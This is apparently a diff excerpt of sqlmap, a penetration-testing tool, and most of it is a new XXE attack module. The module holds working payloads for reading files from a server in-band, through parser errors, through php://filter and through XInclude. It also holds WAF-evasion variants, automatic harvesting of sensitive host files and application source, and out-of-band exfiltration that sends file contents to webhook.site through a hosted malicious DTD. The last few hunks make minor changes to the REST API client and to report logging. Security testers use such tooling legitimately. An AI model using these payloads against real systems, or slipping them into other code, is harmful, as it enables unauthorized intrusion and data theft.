if SENTINEL in page and ("&%s;" % ent) not in page and not _echoed(page) and SENTINEL not in baseline:
|
||||
return payload, page
|
||||
return None, page
|
||||
|
||||
|
||||
def _confirmRead(page, pattern, baseline):
|
||||
"""Return the first response line that matches a known file-content signature
|
||||
and is absent from the baseline. The baseline guard is essential: it stops a
|
||||
generic short reply (e.g. 'received', 'ok') from matching a loose pattern."""
|
||||
|
||||
baselineLines = set(_.strip() for _ in getUnicode(baseline or "").splitlines())
|
||||
for line in getUnicode(page).splitlines():
|
||||
line = line.strip()
|
||||
if line and line not in baselineLines and re.search(pattern, line):
|
||||
return line
|
||||
return None
|
||||
|
||||
|
||||
def _tryInbandFileRead(xml, rootName, fileName):
|
||||
"""Read an arbitrary file IN-BAND on a reflective target: place the external
|
||||
entity between two random markers so the exact file content can be sliced out
|
||||
of the response regardless of surrounding template. Raw file:// works for text
|
||||
files; php://filter base64 (PHP) carries files with XML-special bytes. Returns
|
||||
(content, payload) or (None, None)."""
|
||||
|
||||
from lib.core.convert import decodeBase64
|
||||
|
||||
m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True)
|
||||
for systemId, isB64 in ((_toSystemId(fileName), False),
|
||||
("php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True)):
|
||||
ent = randomStr(8, lowercase=True)
|
||||
subset = '<!ENTITY %s SYSTEM "%s">' % (ent, systemId)
|
||||
payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2))
|
||||
page = getUnicode(_send(payload))
|
||||
match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), page, re.DOTALL)
|
||||
if not match:
|
||||
continue
|
||||
data = match.group(1)
|
||||
if not data.strip() or ("&%s;" % ent) in data: # empty read or un-expanded echo
|
||||
continue
|
||||
if isB64:
|
||||
try:
|
||||
data = getText(decodeBase64(data.strip()))
|
||||
except Exception:
|
||||
continue
|
||||
if data and data.strip():
|
||||
return data, payload
|
||||
return None, None
|
||||
|
||||
|
||||
def _tryExternalFile(xml, rootName, baseline):
|
||||
"""Impact demonstration once XXE is live: read a benign host-identity file via
|
||||
an external general entity. Returns (systemId, payload) on a confirmed read."""
|
||||
|
||||
for systemId, pattern in XXE_IMPACT_FILES:
|
||||
ent = randomStr(length=8, lowercase=True)
|
||||
subset = '<!ENTITY %s SYSTEM "%s">' % (ent, systemId)
|
||||
payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent)
|
||||
snippet = _confirmRead(_send(payload), pattern, baseline)
|
||||
if snippet:
|
||||
return systemId, payload
|
||||
return None, None
|
||||
|
||||
|
||||
def _tryPhpFilter(xml, rootName, baseline):
|
||||
"""PHP-only in-band read (base64 via php://filter). Used only as a benign in-band
|
||||
impact demonstration -> reads /etc/os-release; it deliberately never probes
|
||||
/etc/passwd here (a specific file is read only on explicit '--file-read')."""
|
||||
|
||||
from lib.core.convert import decodeBase64
|
||||
|
||||
baselineTokens = set(re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", getUnicode(baseline or "")))
|
||||
for resource, pattern in (("/etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="),):
|
||||
ent = randomStr(length=8, lowercase=True)
|
||||
subset = '<!ENTITY %s SYSTEM "php://filter/convert.base64-encode/resource=%s">' % (ent, resource)
|
||||
payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent)
|
||||
page = _send(payload)
|
||||
for token in re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", getUnicode(page)):
|
||||
if token in baselineTokens:
|
||||
continue
|
||||
try:
|
||||
decoded = getText(decodeBase64(token))
|
||||
except Exception:
|
||||
continue
|
||||
if decoded and re.search(pattern, decoded, re.M):
|
||||
return payload
|
||||
return None
|
||||
|
||||
|
||||
def _tryError(xml, rootName):
|
||||
"""T3 error-based: a parameter entity points at a non-existent path carrying
|
||||
the sentinel. Confirmed when the sentinel surfaces inside a parser error."""
|
||||
|
||||
subset = '<!ENTITY %% xxe SYSTEM "file:///%s/nonexistent">\n%%xxe;' % SENTINEL
|
||||
payload = _buildDoctype(xml, rootName, subset)
|
||||
page = _send(payload)
|
||||
if SENTINEL in page and not _echoed(page):
|
||||
return payload, page
|
||||
return None, page
|
||||
|
||||
|
||||
def _tryLocalDtd(xml, rootName):
|
||||
"""T3b no-egress error-based: repurpose an on-disk DTD, redefine one of its
|
||||
parameter entities to load a sentinel path, and read the sentinel back out of
|
||||
the resulting parser error - no outbound network required."""
|
||||
|
||||
for dtdPath, entName in XXE_LOCAL_DTDS:
|
||||
subset = (
|
||||
'<!ENTITY %% local_dtd SYSTEM "%s">\n'
|
||||
"<!ENTITY %% %s '<!ENTITY % xxe SYSTEM \"file:///%s/nonexistent\">%xxe;'>\n"
|
||||
"%%local_dtd;"
|
||||
) % (dtdPath, entName, SENTINEL)
|
||||
payload = _buildDoctype(xml, rootName, subset)
|
||||
page = _send(payload)
|
||||
if SENTINEL in page and not _echoed(page):
|
||||
return payload, page
|
||||
return None, ""
|
||||
|
||||
|
||||
def _tryErrorExfil(xml, rootName, errorChannel=False):
|
||||
"""In-band error-based file EXFILTRATION: coerce the parser into an error whose
|
||||
message embeds the target file's contents (not just a sentinel). Two vehicles:
|
||||
(a) repurpose a local on-disk DTD -> NO egress at all, or (b) a DTD we host on
|
||||
the exfil service -> needs egress to fetch it plus verbose errors, so it is only
|
||||
attempted when an error channel was already confirmed (else it is pointless and
|
||||
just burns third-party requests). php://filter base64 carries a whole multi-line
|
||||
file intact; raw file:// leaks the first line. Returns (content, filename)."""
|
||||
|
||||
from lib.core.convert import decodeBase64
|
||||
|
||||
fileName = conf.get("fileRead")
|
||||
if not fileName:
|
||||
return None, None
|
||||
marker = randomStr(10, lowercase=True)
|
||||
# (systemId, isBase64): base64 first (whole file, PHP), raw fallback (first line, any parser)
|
||||
reads = (("php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True),
|
||||
(_toSystemId(fileName), False))
|
||||
|
||||
def _extract(page, isB64):
|
||||
pattern = (r"file:/+%s/([A-Za-z0-9+/=]+)" if isB64 else r"file:/+%s/([^\s'\"<>;)]+)") % re.escape(marker)
|
||||
match = re.search(pattern, getUnicode(page))
|
||||
if not match:
|
||||
return None
|
||||
if isB64:
|
||||
try:
|
||||
return getText(decodeBase64(match.group(1))) or None
|
||||
except Exception:
|
||||
return None
|
||||
return match.group(1)
|
||||
|
||||
# (a) local-DTD repurposing - no egress
|
||||
for dtdPath, entName in XXE_LOCAL_DTDS:
|
||||
for systemId, isB64 in reads:
|
||||
inner = ('<!ENTITY % file SYSTEM "%s">'
|
||||
'<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///%s/%file;'>">'
|
||||
'%eval;%error;') % (systemId, marker)
|
||||
subset = '<!ENTITY %% local_dtd SYSTEM "%s">\n<!ENTITY %% %s \'%s\'>\n%%local_dtd;' % (dtdPath, entName, inner)
|
||||
content = _extract(_send(_buildDoctype(xml, rootName, subset)), isB64)
|
||||
if content:
|
||||
return content, fileName
|
||||
|
||||
# (b) DTD we host on the exfil service - egress + verbose errors (third party):
|
||||
# skip on a blind target (no error channel) and without explicit OOB consent
|
||||
if not (errorChannel and _oobConsent()):
|
||||
return None, None
|
||||
from lib.request.webhooksite import WebhookSite
|
||||
wh = WebhookSite()
|
||||
for systemId, isB64 in reads:
|
||||
dtd = ('<!ENTITY %% file SYSTEM "%s">\n'
|
||||
'<!ENTITY %% eval "<!ENTITY % error SYSTEM \'file:///%s/%%file;\'>">\n'
|
||||
'%%eval;\n%%error;') % (systemId, marker)
|
||||
token = wh.newToken(dtd)
|
||||
if not token:
|
||||
break
|
||||
content = _extract(_send(_buildDoctype(xml, rootName, '<!ENTITY %% dtd SYSTEM "%s"> %%dtd;' % wh.hostUrl(token))), isB64)
|
||||
if content:
|
||||
return content, fileName
|
||||
|
||||
return None, None
|
||||
|
||||
|
||||
def _tryXInclude(xml, rootName, baseline):
|
||||
"""T4 fallback when DOCTYPE/entities are unavailable: XInclude a benign file as
|
||||
text. Confirmed when the file content appears in the response (baseline-guarded)."""
|
||||
|
||||
for systemId, pattern in XXE_IMPACT_FILES:
|
||||
snippet = '<xi:include xmlns:xi="http://www.w3.org/2001/XInclude" href="%s" parse="text"/>' % systemId
|
||||
payload = _placeRef(xml, snippet)
|
||||
confirmed = _confirmRead(_send(payload), pattern, baseline)
|
||||
if confirmed:
|
||||
return payload, systemId, confirmed
|
||||
return None, None, None
|
||||
|
||||
|
||||
def _tryEvasions(xml, rootName, baseline):
|
||||
"""T5 WAF-evasion fallbacks, tried only when the straightforward tiers fail.
|
||||
Each transform keeps the payload semantically identical while defeating a
|
||||
common naive filter, so a reachable-but-filtered parser can still be caught.
|
||||
Returns (title, payload) on a confirmed hit."""
|
||||
|
||||
# (1) UTF-16 re-encoding: libxml2/Xerces honor the BOM-declared encoding while
|
||||
# ASCII byte-signature WAFs (grepping for "<!ENTITY"/"SYSTEM") miss it.
|
||||
ent = randomStr(length=8, lowercase=True)
|
||||
subset = '<!ENTITY %s "%s">' % (ent, SENTINEL)
|
||||
body = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent)
|
||||
page = _send(getText(body).encode("utf-16")) # BOM-prefixed UTF-16, py2/py3 alike
|
||||
if SENTINEL in page and not _echoed(page) and SENTINEL not in baseline:
|
||||
return "In-band via UTF-16 re-encoding (WAF evasion)", getUnicode(body)
|
||||
|
||||
# (2) PUBLIC keyword instead of SYSTEM: bypasses filters that only blocklist
|
||||
# the SYSTEM identifier; the second literal is still the resolved system id.
|
||||
subset = '<!ENTITY %% xxe PUBLIC "-//sqlmap//XXE//EN" "file:///%s/nonexistent">\n%%xxe;' % SENTINEL
|
||||
body = _buildDoctype(xml, rootName, subset)
|
||||
page = _send(body)
|
||||
if SENTINEL in page and not _echoed(page):
|
||||
return "Error-based via PUBLIC keyword (WAF evasion)", body
|
||||
|
||||
return None, None
|
||||
|
||||
|
||||
def _timed(body, timeout):
|
||||
"""One request, returning wall-clock seconds. ignoreTimeout keeps a stalled
|
||||
parser from raising, so the elapsed time itself is the signal."""
|
||||
start = time.time()
|
||||
try:
|
||||
Request.getPage(post=body, method=conf.method, auxHeaders=_auxHeaders(),
|
||||
raise404=False, silent=True, ignoreTimeout=True, timeout=timeout)
|
||||
except Exception:
|
||||
pass
|
||||
return time.time() - start
|
||||
|
||||
|
||||
def _tryTimeBlind(xml, rootName):
|
||||
"""T6 last-resort blind detection with NO collector: an external parameter
|
||||
entity aimed at a non-routable TEST-NET host stalls a fetching parser on the
|
||||
connection. Confirmed only on a large, reproducible delay measured against a
|
||||
DTD-processing control (an internal parameter entity, no fetch) - so DTD
|
||||
overhead alone cannot trip it and only the outbound-fetch stall counts."""
|
||||
|
||||
control = _buildDoctype(xml, rootName, '<!ENTITY %% c "x">\n%%c;')
|
||||
baseline = max(_timed(control, conf.timeout), _timed(control, conf.timeout))
|
||||
threshold = baseline + XXE_TIME_THRESHOLD
|
||||
probeTimeout = min(conf.timeout, int(baseline) + XXE_TIME_THRESHOLD + 3)
|
||||
|
||||
# Bound each stalled probe: the per-call timeout kwarg does not reach a pooled
|
||||
# socket, so cap via conf.timeout (the value the connection actually uses) and
|
||||
# drop conf.retries so a stall is not re-sent. Restored in finally.
|
||||
_timeout, _retries = conf.timeout, conf.retries
|
||||
conf.timeout, conf.retries = probeTimeout, 0
|
||||
try:
|
||||
subset = '<!ENTITY %% x SYSTEM "http://%s/%s">\n%%x;' % (XXE_BLACKHOLE_HOST, SENTINEL)
|
||||
payload = _buildDoctype(xml, rootName, subset)
|
||||
|
||||
if _timed(payload, probeTimeout) < threshold:
|
||||
return None
|
||||
if _timed(payload, probeTimeout) < threshold: # must reproduce
|
||||
return None
|
||||
return payload
|
||||
finally:
|
||||
conf.timeout, conf.retries = _timeout, _retries
|
||||
|
||||
|
||||
def _oobEnabled():
|
||||
"""False when the user opted out of OOB entirely (`--oob-server none`)."""
|
||||
return (conf.get("oobServer") or "").strip().lower() not in ("none", "off", "0", "no", "disable", "false")
|
||||
|
||||
|
||||
def _oobConsent():
|
||||
"""True only when the user has opted into contacting a third-party OOB service:
|
||||
either explicitly (`--oob-server <host>`) or by answering the one-time prompt,
|
||||
which defaults to NO - so '--batch' never silently phones a public service."""
|
||||
global _OOB_CONSENT
|
||||
if not _oobEnabled():
|
||||
return False
|
||||
if conf.get("oobServer"):
|
||||
return True
|
||||
if _OOB_CONSENT is None:
|
||||
message = "do you want sqlmap to use a public out-of-band service "
|
||||
message += "(interactsh/webhook.site) for blind XXE? [y/N] "
|
||||
_OOB_CONSENT = readInput(message, default='N', boolean=True)
|
||||
return _OOB_CONSENT
|
||||
|
||||
|
||||
def _tryOobExfil(xml, rootName):
|
||||
"""T7 out-of-band EXFILTRATION for blind XXE: host a malicious external DTD on
|
||||
a public content+logging service (webhook.site), point the target's parser at
|
||||
it, and read the file it ships back out. The DTD uses the classic nested
|
||||
parameter-entity chain (only valid in an EXTERNAL DTD) and php://filter base64
|
||||
so any file survives the callback URL. The DTD-fetch itself doubles as blind
|
||||
detection. Reads conf.fileRead if given, else a benign default. Returns a dict
|
||||
{payload, filename, content, detected} or None if the service is unusable."""
|
||||
|
||||
from lib.core.convert import decodeBase64
|
||||
from lib.request.webhooksite import WebhookSite
|
||||
|
||||
fileName = conf.get("fileRead")
|
||||
if not fileName:
|
||||
return None
|
||||
|
||||
wh = WebhookSite()
|
||||
exfilToken = wh.newToken()
|
||||
if not exfilToken:
|
||||
logger.debug("out-of-band exfiltration tier skipped (could not reach the exfil service)")
|
||||
return None
|
||||
|
||||
marker = randomStr(10, lowercase=True)
|
||||
# Carry the base64 in the URL PATH, not the query: query parsers turn '+' into a
|
||||
# space and mangle '/'/'=', corrupting the payload. In the path those bytes survive
|
||||
# and webhook.site logs the raw request URL, which we regex back out.
|
||||
exfilUrl = "%s/%s/%%file;" % (wh.hostUrl(exfilToken), marker)
|
||||
dtd = ('<!ENTITY %% file SYSTEM "php://filter/convert.base64-encode/resource=%s">\n'
|
||||
'<!ENTITY %% eval "<!ENTITY % exfil SYSTEM \'%s\'>">\n'
|
||||
'%%eval;\n%%exfil;') % (_toResource(fileName), exfilUrl)
|
||||
dtdToken = wh.newToken(dtd)
|
||||
if not dtdToken:
|
||||
return None
|
||||
|
||||
singleTimeWarnMessage("using public out-of-band exfiltration service '%s' for blind XXE" % wh.endpoint)
|
||||
payload = _buildDoctype(xml, rootName, '<!ENTITY %% dtd SYSTEM "%s"> %%dtd;' % wh.hostUrl(dtdToken))
|
||||
_send(payload)
|
||||
|
||||
content, detected = None, False
|
||||
pattern = re.compile(r"/%s/([A-Za-z0-9+/=]+)" % re.escape(marker))
|
||||
for _ in range(OOB_POLL_ATTEMPTS):
|
||||
time.sleep(OOB_POLL_DELAY)
|
||||
for record in wh.captured(exfilToken):
|
||||
match = pattern.search(getText(record.get("url") or ""))
|
||||
if match:
|
||||
try:
|
||||
content = getText(decodeBase64(match.group(1)))
|
||||
except Exception:
|
||||
content = match.group(1)
|
||||
break
|
||||
if content:
|
||||
break
|
||||
if not detected and wh.captured(dtdToken):
|
||||
detected = True # the target fetched our DTD -> blind XXE confirmed even without exfil
|
||||
|
||||
if not detected:
|
||||
detected = bool(wh.captured(dtdToken))
|
||||
return {"payload": payload, "filename": fileName, "content": content, "detected": detected}
|
||||
|
||||
|
||||
def _tryOob(xml, rootName):
|
||||
"""T7 blind confirmation via an out-of-band collector (interactsh): an external
|
||||
parameter entity points at a unique callback URL. If the target's parser fetches
|
||||
it (or even just resolves its DNS), the collector records the interaction and we
|
||||
poll it back - definitive proof of blind XXE with egress, and it names the
|
||||
channel (HTTP vs DNS-only). Returns (payload, protocol) or None."""
|
||||
|
||||
from lib.request.interactsh import Interactsh, hasCrypto
|
||||
|
||||
if not hasCrypto():
|
||||
logger.debug("out-of-band blind XXE tier skipped (optional 'pycryptodome' not installed)")
|
||||
return None
|
||||
|
||||
client = Interactsh(server=conf.get("oobServer"))
|
||||
if not client.registered:
|
||||
logger.debug("out-of-band blind XXE tier skipped (could not register with an interaction server)")
|
||||
return None
|
||||
|
||||
singleTimeWarnMessage("using out-of-band interaction server '%s' for blind XXE confirmation (override with '--oob-server')" % client.server)
|
||||
try:
|
||||
url = client.url()
|
||||
subset = '<!ENTITY %% oob SYSTEM "%s">\n%%oob;' % url
|
||||
payload = _buildDoctype(xml, rootName, subset)
|
||||
_send(payload)
|
||||
interactions = client.pollUntil(OOB_POLL_ATTEMPTS, OOB_POLL_DELAY)
|
||||
if interactions:
|
||||
protocols = sorted(set((_.get("protocol") or "?").upper() for _ in interactions))
|
||||
return payload, ", ".join(protocols)
|
||||
finally:
|
||||
client.close()
|
||||
return None
|
||||
|
||||
|
||||
def xxeScan():
|
||||
global SENTINEL, _OOB_CONSENT
|
||||
SENTINEL = randomStr(length=12, lowercase=True)
|
||||
_OOB_CONSENT = None
|
||||
|
||||
debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection "
|
||||
debugMsg += "in the request body and, once confirmed, automatically harvests high-value "
|
||||
debugMsg += "host files (or reads '--file-read' when given). SQL enumeration switches "
|
||||
debugMsg += "(--banner, --dbs, --tables, --dump) are ignored"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
xml = _cleanBody()
|
||||
if not _looksXml(xml):
|
||||
logger.error("no XML body found to test (provide an XML request body via '--data' or '-r')")
|
||||
return
|
||||
|
||||
rootName = _rootName(xml)
|
||||
if not rootName:
|
||||
logger.error("could not locate the document root element in the XML body")
|
||||
return
|
||||
|
||||
logger.info("testing XXE injection on the XML request body (root element: '%s')" % rootName)
|
||||
|
||||
baseline = _send(xml)
|
||||
found = False # an actual impact/oracle (file read, error-based, XInclude, blind)
|
||||
expansionSeen = False # reflected DTD/internal-entity processing (weaker; must not stop the search)
|
||||
|
||||
# T2: in-band reflected DTD/internal-entity expansion. This proves the parser
|
||||
# processes entities but is NOT yet file-read impact, so it deliberately does NOT
|
||||
# set `found` on its own - we first try to UPGRADE it to real file-read impact and
|
||||
# then emit a SINGLE report block with the strongest confirmed vector and its real
|
||||
# payload (one report per finding, as with the other non-SQL engines). The internal
|
||||
# expansion is only reported on its own when no external-entity read is reachable.
|
||||
payload, page = _tryInternal(xml, rootName, baseline)
|
||||
if payload:
|
||||
expansionSeen = True
|
||||
logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)")
|
||||
|
||||
if conf.get("fileRead"):
|
||||
content, readPayload = _tryInbandFileRead(xml, rootName, conf.fileRead)
|
||||
if content:
|
||||
found = True
|
||||
logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead)
|
||||
_report("In-band file read ('%s')" % conf.fileRead, readPayload)
|
||||
_dumpFileRead(conf.fileRead, content)
|
||||
else:
|
||||
# No targeted '--file-read': proactively harvest a curated set of high-value
|
||||
# files (data stays in the response, no third party) - the XXE analogue of
|
||||
# the automatic dumping the other non-SQL engines do once confirmed.
|
||||
harvested = _harvestFiles(xml, rootName)
|
||||
if harvested:
|
||||
found = True
|
||||
firstPath, _, firstPayload = harvested[0]
|
||||
# follow-up: server-side application source disclosure (php://filter)
|
||||
harvested += _harvestSource(xml, rootName, harvested)
|
||||
logger.info("in-band XXE file-read impact confirmed; harvested %d file(s)" % len(harvested))
|
||||
_report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload)
|
||||
saved = []
|
||||
for path, content, _ in harvested:
|
||||
logger.info("read remote file '%s' (%d bytes)" % (path, len(content)))
|
||||
localPath = _saveFileRead(path, content)
|
||||
if localPath:
|
||||
saved.append(localPath)
|
||||
else:
|
||||
conf.dumper.singleString("XXE file read ('%s'):\n%s" % (path, content))
|
||||
if saved:
|
||||
conf.dumper.rFile(saved)
|
||||
else:
|
||||
# Harvest read nothing (content relocated in the response, or only benign
|
||||
# host-identity is exposed): fall back to the pattern-based impact proof
|
||||
# so file-read impact is still confirmed.
|
||||
systemId, readPayload = _tryExternalFile(xml, rootName, baseline)
|
||||
if not systemId:
|
||||
readPayload = _tryPhpFilter(xml, rootName, baseline)
|
||||
systemId = "php://filter" if readPayload else None
|
||||
if systemId:
|
||||
found = True
|
||||
logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId)
|
||||
_report("In-band file-read impact (external entity '%s')" % systemId, readPayload)
|
||||
|
||||
if not found:
|
||||
# external entities are disabled (only internal expansion is reachable):
|
||||
# report that weaker-but-real finding with its actual payload
|
||||
_report("In-band DTD/internal entity expansion", payload)
|
||||
|
||||
# T3: error-based (works where entities are not reflected but errors leak). A
|
||||
# redundant detection channel once in-band reflection was already seen, so it is
|
||||
# skipped then - the file-read *impact* tiers below still run to try to upgrade.
|
||||
errorChannel = False
|
||||
if not found and not expansionSeen:
|
||||
payload, page = _tryError(xml, rootName)
|
||||
if payload:
|
||||
found = errorChannel = True
|
||||
backend = _fingerprint(page) or "Generic XML"
|
||||
logger.info("the XML body is vulnerable to XXE injection (error-based, back-end parser: '%s')" % backend)
|
||||
_report("Error-based (parameter entity, back-end: '%s')" % backend, payload)
|
||||
|
||||
# T3b: no-egress error-based via local-DTD repurposing (detection; skip once reflected)
|
||||
if not found and not expansionSeen:
|
||||
payload, page = _tryLocalDtd(xml, rootName)
|
||||
if payload:
|
||||
found = errorChannel = True
|
||||
backend = _fingerprint(page) or "Generic XML"
|
||||
logger.info("the XML body is vulnerable to XXE injection (error-based via local-DTD repurposing, no egress required)")
|
||||
_report("Error-based (local-DTD repurposing, back-end: '%s')" % backend, payload)
|
||||
|
||||
# T3c: error-based FILE EXFILTRATION - only on an explicit '--file-read' request.
|
||||
# The local-DTD vehicle is always tried (no egress); the remote-DTD vehicle needs
|
||||
# both a confirmed error channel (pointless on a blind target) and OOB consent.
|
||||
if conf.get("fileRead"):
|
||||
content, fileName = _tryErrorExfil(xml, rootName, errorChannel)
|
||||
if content:
|
||||
found = True
|
||||
logger.info("error-based in-band XXE file read of '%s' succeeded" % fileName)
|
||||
_report("Error-based in-band file read ('%s')" % fileName, "<error-based exfiltration of '%s'>" % fileName)
|
||||
_dumpFileRead(fileName, content)
|
||||
|
||||
# T4: XInclude fallback (no DOCTYPE/entity control needed)
|
||||
if not found:
|
||||
payload, systemId, snippet = _tryXInclude(xml, rootName, baseline)
|
||||
if payload:
|
||||
found = True
|
||||
logger.info("the XML body is vulnerable to XInclude file read ('%s'): '%s'" % (systemId, snippet))
|
||||
_report("XInclude file read ('%s')" % systemId, payload)
|
||||
|
||||
# T5: WAF-evasion fallbacks (UTF-16 re-encoding, PUBLIC-for-SYSTEM). The UTF-16
|
||||
# variant re-detects internal-entity reflection, so it is redundant (and mislabels
|
||||
# as 'evasion') once reflection was already seen - skip it then.
|
||||
if not found and not expansionSeen:
|
||||
title, payload = _tryEvasions(xml, rootName, baseline)
|
||||
if title:
|
||||
found = True
|
||||
logger.info("the XML body is vulnerable to XXE injection (%s)" % title.lower())
|
||||
_report(title, payload)
|
||||
|
||||
# T6: time-based blind (no collector, no third party) - external entity to a non-routable host.
|
||||
# Skipped once in-band reflection worked: the target is demonstrably not blind, so the (slow)
|
||||
# blind tiers add nothing and would needlessly stall.
|
||||
if not found and not expansionSeen:
|
||||
logger.debug("attempting time-based blind XXE (external entity to a non-routable host); this can be slow")
|
||||
payload = _tryTimeBlind(xml, rootName)
|
||||
if payload:
|
||||
found = True
|
||||
logger.info("the XML body is vulnerable to XXE injection (time-based blind, external entity resolution reaches out-of-band)")
|
||||
_report("Time-based blind (external entity to non-routable host)", payload)
|
||||
|
||||
# T7: out-of-band tiers - THIRD PARTY, so only on explicit consent (default NO). Also blind-only
|
||||
# (skipped when in-band reflection already worked, so a non-blind target never triggers the prompt).
|
||||
# Low-impact callback confirmation is the default; actual file exfiltration is
|
||||
# attempted only when the user explicitly asked for a file via '--file-read'.
|
||||
if not found and not expansionSeen and _oobConsent():
|
||||
if conf.get("fileRead"):
|
||||
exfil = _tryOobExfil(xml, rootName)
|
||||
if exfil and (exfil["content"] or exfil["detected"]):
|
||||
found = True
|
||||
if exfil["content"]:
|
||||
logger.info("blind XXE out-of-band file read of '%s' succeeded" % exfil["filename"])
|
||||
_report("Out-of-band blind file read ('%s')" % exfil["filename"], exfil["payload"])
|
||||
_dumpFileRead(exfil["filename"], exfil["content"])
|
||||
else:
|
||||
logger.info("blind XXE confirmed (out-of-band; target fetched the hosted DTD)")
|
||||
_report("Out-of-band blind (hosted-DTD callback)", exfil["payload"])
|
||||
else:
|
||||
result = _tryOob(xml, rootName)
|
||||
if result:
|
||||
payload, protocol = result
|
||||
found = True
|
||||
logger.info("blind XXE confirmed (out-of-band %s callback to the interaction server)" % protocol)
|
||||
_report("Out-of-band blind (collector callback: %s)" % protocol, payload)
|
||||
|
||||
if not found:
|
||||
if expansionSeen:
|
||||
# in-band entity processing is real, but no external-entity/blind oracle was reachable
|
||||
# (typically external entities disabled) - report honestly rather than overstate impact
|
||||
logger.info("DTD/internal entity processing is enabled, but no external-entity file-read or blind XXE oracle was established")
|
||||
logger.info("XXE scan complete")
|
||||
return
|
||||
# Reachable-but-not-exploitable diagnostics: distinguish a hardened parser
|
||||
# from a merely non-reflecting one so the user knows why it did not fire.
|
||||
probe = _send(_buildDoctype(xml, rootName, '<!ENTITY %% p SYSTEM "file:///%s">%%p;' % SENTINEL))
|
||||
if re.search(XXE_HARDENED_REGEX, getUnicode(probe)):
|
||||
logger.info("the XML parser is reachable but appears hardened against XXE (DTD/external entities refused)")
|
||||
else:
|
||||
backend = _fingerprint(probe)
|
||||
if backend:
|
||||
logger.info("the XML body reaches a parser (back-end: '%s') but no XXE oracle could be established" % backend)
|
||||
logger.warning("the XML body does not appear to be injectable via XXE")
|
||||
return
|
||||
|
||||
logger.info("XXE scan complete")
|
||||
|
|
@ -253,6 +253,12 @@ def setupReportCollector():
|
|||
collector = Database(":memory:")
|
||||
collector.connect("report")
|
||||
collector.init()
|
||||
|
||||
# record error/critical log messages into the collector so that a CLI --report-json report carries
|
||||
# the same 'error' content the REST API exposes via /scan/<id>/data - letting consumers tell a
|
||||
# failed/unreachable run apart from a clean "nothing found" one (both otherwise have empty 'data')
|
||||
logger.addHandler(ReportErrorRecorder(collector))
|
||||
|
||||
return collector
|
||||
|
||||
def writeReportJson(collector, filepath):
|
||||
|
|
@ -449,6 +455,22 @@ class LogRecorder(logging.StreamHandler):
|
|||
"""
|
||||
conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, str(record.msg % record.args if record.args else record.msg)))
|
||||
|
||||
class ReportErrorRecorder(logging.Handler):
|
||||
def __init__(self, collector):
|
||||
"""
|
||||
Records error/critical log messages into a report collector's 'errors' table (the counterpart
|
||||
of StdDbOut's stderr branch for CLI --report-json runs)
|
||||
"""
|
||||
logging.Handler.__init__(self)
|
||||
self.setLevel(logging.ERROR)
|
||||
self.collector = collector
|
||||
|
||||
def emit(self, record):
|
||||
try:
|
||||
self.collector.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (REPORT_TASKID, str(record.msg % record.args if record.args else record.msg)))
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def setRestAPILog():
|
||||
if conf.api:
|
||||
try:
|
||||
|
|
@ -957,11 +979,12 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
|
|||
DataStore.username = username
|
||||
DataStore.password = password
|
||||
|
||||
auth = ' --user "%s:%s"' % (username, password) if (username or password) else "" # REST API requires HTTP Basic auth
|
||||
dbgMsg = "Example client access from command line:"
|
||||
dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (host, port)
|
||||
dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"http://testasp.vulnweb.com/showforum.asp?id=1\"}' http://%s:%d/scan/$taskid/start" % (host, port)
|
||||
dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/data" % (host, port)
|
||||
dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/log" % (host, port)
|
||||
dbgMsg += "\n\t$ taskid=$(curl -s%s http://%s:%d/task/new | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (auth, host, port)
|
||||
dbgMsg += "\n\t$ curl%s -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"https://sekumart.sekuripy.hr/product.php?id=1\"}' http://%s:%d/scan/$taskid/start" % (auth, host, port)
|
||||
dbgMsg += "\n\t$ curl%s http://%s:%d/scan/$taskid/data" % (auth, host, port)
|
||||
dbgMsg += "\n\t$ curl%s http://%s:%d/scan/$taskid/log" % (auth, host, port)
|
||||
logger.debug(dbgMsg)
|
||||
|
||||
addr = "http://%s:%d" % (host, port)
|
||||
|
|
@ -1089,7 +1112,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
|
|||
|
||||
elif command in ("help", "?"):
|
||||
msg = "help Show this help message\n"
|
||||
msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"http://testasp.vulnweb.com/showforum.asp?id=1\"')\n"
|
||||
msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"https://sekumart.sekuripy.hr/product.php?id=1\"')\n"
|
||||
msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n"
|
||||
msg += "data Retrieve and show data for current task\n"
|
||||
msg += "log Retrieve and show log for current task\n"
|
||||
|
|
|
|||
|
|
@ -94,16 +94,6 @@ def checkDependencies():
|
|||
logger.warning(warnMsg)
|
||||
missing_libraries.add('python-ntlm')
|
||||
|
||||
try:
|
||||
